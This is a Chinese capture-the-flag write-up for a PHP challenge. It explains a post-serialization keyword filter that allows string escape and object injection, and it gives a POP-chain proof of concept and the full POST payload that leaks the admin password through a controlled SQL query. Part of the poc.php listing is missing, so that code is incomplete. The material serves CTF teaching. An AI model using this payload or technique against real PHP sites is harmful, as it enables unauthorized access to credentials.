00x0 前言

垃圾人出的垃圾题 给师傅们磕头了哐哐哐

00x1 出题思路

没啥思路 就是单纯感觉没人出过控制sql语句的pop链 感觉会比较有意思
不过光是pop链肯定拦不住各位赛棍 就随手又加了个字符逃逸
还有一点就是之前见过的逃逸都只逃逸了字符 我也想试试看能不能逃逸对象出来 事实证明 只要属性的内容能从引号的束缚中逃逸出去,就可以实例化任意对象了
哐哐哐

不过写代码的时候也确实遇到了很多问题 也算收获多多
感谢帮我测试题目 debug的师傅们
(不得不说想出一个既能满足正常功能又恰好触发漏洞题目太难了 弟弟出题不易 大家别打了 哐哐哐)

00x2 writeup

  1. 扫描目录发现www.zip源码泄露,下载审计

  2. 通过update.php页面可知只要登陆成功即可获得flag

  3. 审计核心代码lib.php

  4. 在UpdateHelper类中发现反序列化点unserialize($newInfo);,但是用户可控的内容只有$Info类的两个属性,不能完全控制序列化数据,无法注入对象

  5. 跟进User类的getNewInfo方法,会发现序列化数据在return之前经过了safe函数的过滤,跟进safe函数

    function safe($parm){
       $array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
       return str_replace($array,'hacker',$parm);
    }
  6. 在数据已经序列化完成的情况下使用过滤函数改变了序列化字符的长度,导致可以逃逸字符出来,然后注入对象

  7. 在类中寻找可用的方法,构造pop链

    //poc.php
    age=$age;
           $this->nickname=$nickname;
       }   
    }
    class UpdateHelper
    {
       public $id;
       public $newinfo;
       public $sql;
    }
    class dbCtrl
    {
       public $hostname="127.0.0.1";
       public $dbuser="noob123";
       public $dbpass="noob123";
       public $database="noob123";
       public $name='admin';
       public $password;
       public $mysqli;
       public $token;
    }
    $d = new dbCtrl();
    $d->token='admin';
    $b = new Info('','1');
    $b->CtrlCase=$d;
    $a = new user();
    $a->nickname=$b;
    $a->age="select password,id from user where username=?";
    $c=new UpdateHelper();
    $c->sql=$a;
    echo serialize($c);
    
    ?>

    pop链的思路:利用UpdateHelper的__destruct触发User的__toString然后走到Info的__call方法,在__call中调用了dbCtrl类的login方法,通过控制查询语句,把admin账户的密码查出来。

    运行后得到序列化数据:

    O:12:"UpdateHelper":3:{s:2:"id";N;s:7:"newinfo";N;s:3:"sql";O:4:"User":3:{s:2:"id";N;s:3:"age";s:45:"select password,id from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";s:0:"";s:8:"nickname";s:1:"1";s:8:"CtrlCase";O:6:"dbCtrl":8:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:7:"noob123";s:6:"dbpass";s:7:"noob123";s:8:"database";s:7:"noob123";s:4:"name";s:5:"admin";s:8:"password";N;s:6:"mysqli";N;s:5:"token";s:5:"admin";}}}}

    由于是在逃逸字符,我们需要保证payload在进入属性中之后可以正常反序列化

    通过本地调试,得到正常序列化时的字符

    O:4:"Info":3:{s:3:"age";s:7:"P3rh4ps";s:8:"nickname";s:7:"P3rh4ps";s:8:"CtrlCase";N;}

    其中nickname和age是可控内容

    注意前面的内容中标注了有3个属性,为了保证属性一致,在payload前面加上CtrlCase的内容,然后在最后闭合语句,使unserialize忽略掉后面的CtrlCase

    构造后得

    ";s:8:"CtrlCase";O:12:"UpdateHelper":3:{s:2:"id";N;s:7:"newinfo";N;s:3:"sql";O:4:"User":3:{s:2:"id";N;s:3:"age";s:45:"select password,id from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";s:0:"";s:8:"nickname";s:1:"1";s:8:"CtrlCase";O:6:"dbCtrl":8:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:7:"noob123";s:6:"dbpass";s:7:"noob123";s:8:"database";s:7:"noob123";s:4:"name";s:5:"admin";s:8:"password";N;s:6:"mysqli";N;s:5:"token";s:5:"admin";}}}}}

    根据这个payload的字符数,我们需要在nickname中插入足量的黑名单字符,把payload挤出去

    这个payload的字符数为463,一个单引号被过滤成hacker后可以挤出5个字符,选择92个单引号和三个union,最终组成了payload

    url:http://ip:port/update.php
    postdata:
    age=&nickname=''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''unionunionunion";s:8:"CtrlCase";O:12:"UpdateHelper":3:{s:2:"id";N;s:7:"newinfo";N;s:3:"sql";O:4:"User":3:{s:2:"id";N;s:3:"age";s:45:"select password,id from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";s:0:"";s:8:"nickname";s:1:"1";s:8:"CtrlCase";O:6:"dbCtrl":8:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:7:"noob123";s:6:"dbpass";s:7:"noob123";s:8:"database";s:7:"noob123";s:4:"name";s:5:"admin";s:8:"password";N;s:6:"mysqli";N;s:5:"token";s:5:"admin";}}}}}

    使用这个payload可以查出admin的密码,经过cmd5查询后可得admin密码yingyingying,登陆即可得到flag

分类: 技术

0 条评论

发表评论

电子邮件地址不会被公开。 必填项已用*标注